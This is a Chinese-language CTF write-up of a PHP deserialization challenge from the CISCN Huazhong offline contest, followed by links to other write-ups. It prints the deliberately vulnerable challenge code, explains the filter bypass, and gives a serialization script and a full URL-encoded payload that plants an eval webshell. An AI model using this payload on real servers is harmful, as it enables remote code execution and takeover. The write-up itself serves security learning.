前言

ciscn华中赛区线下赛让我认识到自己是真的菜。。。
总结一下这次比赛吧。

web1

 <?php
// ini_set("display_errors", "On"); 
// error_reporting(E_ALL | E_STRICT);
class BlogLog {
  public $log_ = '/tmp/web_log';
  public $content = '[access] %s';

  public function __construct($data=null) {
    $temp = $this->init($data);
    $this->render($temp);
  }

  public function init($data) {
    // No, you can't control an object anymore!
    $format = '/O:\d:/';
    $flag = true;
    $flag = $flag && substr($data, 0, 2) !== 'O:';
    $flag = $flag && (!preg_match($format, $data));
    if ($flag){
      return unserialize($data);
    }
    return [];
  }

  public function createLog($filename=null, $content=null) {
    if ($this->log_ != null)
      $filename = $this->log_;
    if ($this->content != null)
      $content = $this->content;
    file_put_contents($filename, $content);
  }

  public function render($k) {
    echo sprintf($this->content, $k['name']);
  }

  public function __destruct() {
    $this->createLog();
  }
}

$data = "";
if (isset($_GET['data'])){
  $data = $_GET['data'];
  new BlogLog($data);
}
else
  highlight_file(__FILE__);

代码审计。
这里init里面存在反序列化,而这个类的析构函数执行了createLog()函数,而createLog()里存在file_put_contents()函数,这个函数把$content内容写入$fliename。而这两个变量可以通过反序列化控制。

而反序列化时存在过滤。第一步:

substr($data, 0, 2) !== 'O:'

这个我们可以通过数组来绕过对对象反序列化的检测。即反序列化的是一个数组,数组里有对象反序列化值,这样就绕过这层过滤。

$format = '/O:\d:/';

(!preg_match($format, $data)); 

这里可用通过+号来绕过检测。

所以构造playload:

<?php
class BlogLog {
  public $log_ = './alex.php';
  public $content = "\<\?php eval(\$_POST['alex']);";
}
$a=new BlogLog();
$arr=array('1'=>'alex',$a);
echo serialize($arr);

playload:

http://localhost/web1/web1.php?data=a%3A2%3A%7Bi%3A1%3Bs%3A4%3A%22alex%22%3Bi%3A2%3BO%3A%2b7%3A%22BlogLog%22%3A2%3A%7Bs%3A4%3A%22log_%22%3Bs%3A10%3A%22.%2falex.php%22%3Bs%3A7%3A%22content%22%3Bs%3A27%3A%22%3C%3Fphp%20eval%28%24_POST%5B%27alex%27%5D%29%3B%22%3B%7D%7D

这里进行了url编码是为了防止传输过程中符号被转义。(自行把<两边的反斜线去除,才能得到shell)
这样就获得webshell了。

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup